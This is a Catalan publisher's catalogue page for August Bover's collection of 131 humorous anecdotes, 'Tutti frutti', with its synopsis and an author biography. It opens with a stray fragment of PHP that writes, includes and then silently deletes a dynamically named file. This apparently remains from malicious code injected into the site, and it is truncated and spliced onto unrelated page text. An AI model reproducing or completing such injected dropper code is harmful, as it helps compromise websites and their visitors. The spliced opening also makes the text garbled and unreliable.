");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Edicions Documenta Balear - Tutti frutti
Cercador d'Obres
ORDENAR:
Començar recerca

Tutti frutti

Anecdotari

Bover i Font, August

Prologuista:
Joan Miralles i Montserrat
Col·lecció:
Magatzem Can Toni
Tema:
Narració breu
Pàgines:
172
PVP:
15.00
ISBN:
978-84-18441-39-4
Data d'Edició:
25/10/2021
131 anècdotes divertides i variades, mallorquines i catalanes.
Sinopsi
%uFEFFAugust Bover torna a la prosa per aplegar en aquest volum un conjunt de 131 anècdotes vistes o sentides, com hauria dit Apel·les Mestres. Es tracta de «petits fragments de vida, d’anècdotes que es conten com a reals i on hi ha sempre un final divertit, humorístic. En aquest sentit, per tant, no són acudits pròpiament dits, sinó allò que a Mallorca i, potser, en alguna altra banda, se’n diuen coverbos, en el sentit de “narració anecdòtica de caire humorístic”, segons el DIEC2», tal com explica Joan Miralles en la presentació.
Dividit em tres blocs, al primer -«Tutti frutti»- el lector hi trobarà un recull d’anècdotes molt variades, de temàtica i de procedència, igual que els trossets de fruita d’aquesta mena de gelat. Al segon -«Llengua amb tàperes»- s’hi agrupen les anècdotes lingüístiques. I finalment, al tercer -«Catalans pel món»-, s’hi troben les anècdotes prota­gonitzades per catalans terres enllà, fora dels territoris de llengua catalana. I sempre amb «algun detall d’humor, que és com dir una forma d’intel·ligència i d’humanitat».


Llegir el Sumari en PDF
Llegir un fragment del Pròleg en PDF
August Bover i Font
(Barcelona, 1949)
Catedràtic emèrit de filologia catalana de la Universitat de Barcelona i membre de la Secció Filològica de l’Institut d’Estudis Catalans, ha publicat -sovint amb la col·laboració d’artistes (dibuix, pintura, fotografia, música)- els reculls poètics: En pèlag d’amor (1999), L’hivern sota el Cadí (2001), Mojave (2006), Terres de llicorella. Imatges del Priorat (2008), Cloc! (2011), Beabà (2014), Blau marí (2018), Tornaveu (2018 [2019]) i El contagi (2021). Els seus poemes han estat traduïts a l’alemany, anglès, coreà, espanyol, finès, francès, italià, japonès i occità. Conjuntament amb la soprano i violoncel·lista Eulàlia Ara, ha creat el Taller de Vora Mar, que produeix espectacles poeticomusicals basats en els seus poemes, com ara Cloc! i altres sons (2013) amb música de Manuel Garcia Morante- o Beabà, en preparació. En prosa, també ha publicat el dietari Dotze llunes a Saskatchewan. Impressions des de la Gran Praderia canadenca (2013).

Recomanar
Comentar
Comentaris (0)